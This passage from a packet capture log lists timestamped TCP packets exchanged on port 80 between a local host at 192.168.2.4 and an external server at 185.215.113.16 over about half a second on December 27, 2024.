Dec 27, 2024 08:45:24.563569069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.563630104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.564176083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.564232111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.564275980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.564918995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.565041065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.565082073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.565596104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.565737009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.565781116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.566318989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.566415071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.566456079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.567040920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.567182064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.567223072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.567794085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.567864895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.567908049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.568434954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.568567038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.568608999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.569188118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.569361925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.569403887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.569989920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.570044041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.570110083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.570585012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.570700884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.570743084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.571320057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.571419001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.571463108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.572037935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.572124958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.572169065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.572742939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.572856903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.572904110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.573465109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.573579073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.573621035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.574223042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.574301958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.574342966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.574884892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.574991941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.575037956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.575598955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.575706959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.575752020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.576325893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.576488972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.576534986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.577040911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.577155113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.577194929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.577739000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.577860117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.577904940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.578442097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.578632116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.578674078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.579157114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.579272985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.579319954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.579888105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.580023050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.580068111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.580614090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.580755949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.580801010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.581342936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.581425905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.581466913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.582029104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.582154036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.582197905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.582742929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.582828999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.582880974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.583468914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.583584070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.583626986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.584222078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.584321976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.584372997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.584922075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.585059881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.585103035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.585607052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.585709095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.585779905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.586316109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.586436033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.586481094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.587085009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.587219954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.587265015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.587738991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.587860107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.587901115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.588469028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.588592052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.588634014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.589164972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.589303970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.589348078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.589880943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.589994907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.590037107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.590558052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.603600979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.603662014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.603764057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.603913069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.603954077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.603964090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.604692936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.604739904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.604754925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.605350018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.605396032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.605438948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.606039047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.606087923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.606133938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.606775999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.606836081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.606863022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.607455969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.607495070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.607563972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.608201981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.608237982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.608314037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.608948946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.608994007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.609054089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.609616995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.609657049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.609745026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.662785053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.761843920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.762016058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.762039900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.762057066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.762103081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.762749910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.762890100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.762929916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.763546944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.763684988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.763725042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.764271021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.764286041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.764331102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.764863014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.764972925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.765044928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.765583992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.765746117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.765778065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.766285896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.766427040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.766467094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.766997099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.767106056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.767148018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.767693996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.767828941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.767858028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.768424988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.768539906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.768583059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.769130945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.769243956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.769288063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.769843102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.769958019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.769989014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.770584106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.770760059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.770807981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.771301031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.771450996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.771498919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.772003889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.772114038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.772161007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.772718906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.772823095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.772864103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.773422003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.773534060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.773574114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.774174929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.774296999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.774338961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.774914026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.774974108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.775016069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.775573969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.775681019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.775719881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.776277065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.776377916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.776423931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.777004957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.777112961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.777159929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.777978897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.778106928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.778139114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.778439045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.778561115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.778594017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.779153109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.779279947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.779320955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.779859066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.780070066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.780108929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.780566931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.780709982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.780771017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.781302929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.781470060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.781503916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.782027960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.782094002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.782125950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.782707930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.782814026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.782851934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.783432961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.783550978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.783587933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.784152031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.784265995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.784300089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.784847021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.784955025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.784985065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.785594940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.785686016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.785722971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.786281109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.786417961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.786453962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.787051916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.787753105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.787765026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.787791967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.787838936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.787873983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.788430929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.788548946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.788589001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.789132118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.789271116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.789309978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.789845943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.789944887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.789982080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.790595055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.790827036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.790862083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.791296005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.791387081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.791419029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.791937113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.805075884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.805093050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.805125952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.805358887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.805397034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.805459976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.806068897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.806118011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.806154013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.806749105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.806782007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.806855917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.807488918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.807523012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.807602882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.808185101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.808219910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.808293104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.808897018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.808940887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.809047937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.809603930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.809638023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.809715986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.810336113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.810372114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.810437918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.811053038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.811085939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.811167002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.865910053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.963464975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.963491917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.963582993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.963656902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.963745117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.963799953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.964402914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.964504004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.964546919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.965095043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.965198994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.965259075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.965816975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.965931892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.965977907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.966509104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.966614962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.966655970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.967233896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.967361927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.967417955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.967966080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.968040943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.968082905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.968707085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.968808889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.968852043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.969383001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.969480038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.969525099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.970084906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.970238924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.970294952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.970792055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.970907927 CET	80	49744	185.215.113.16	192.168.2.4
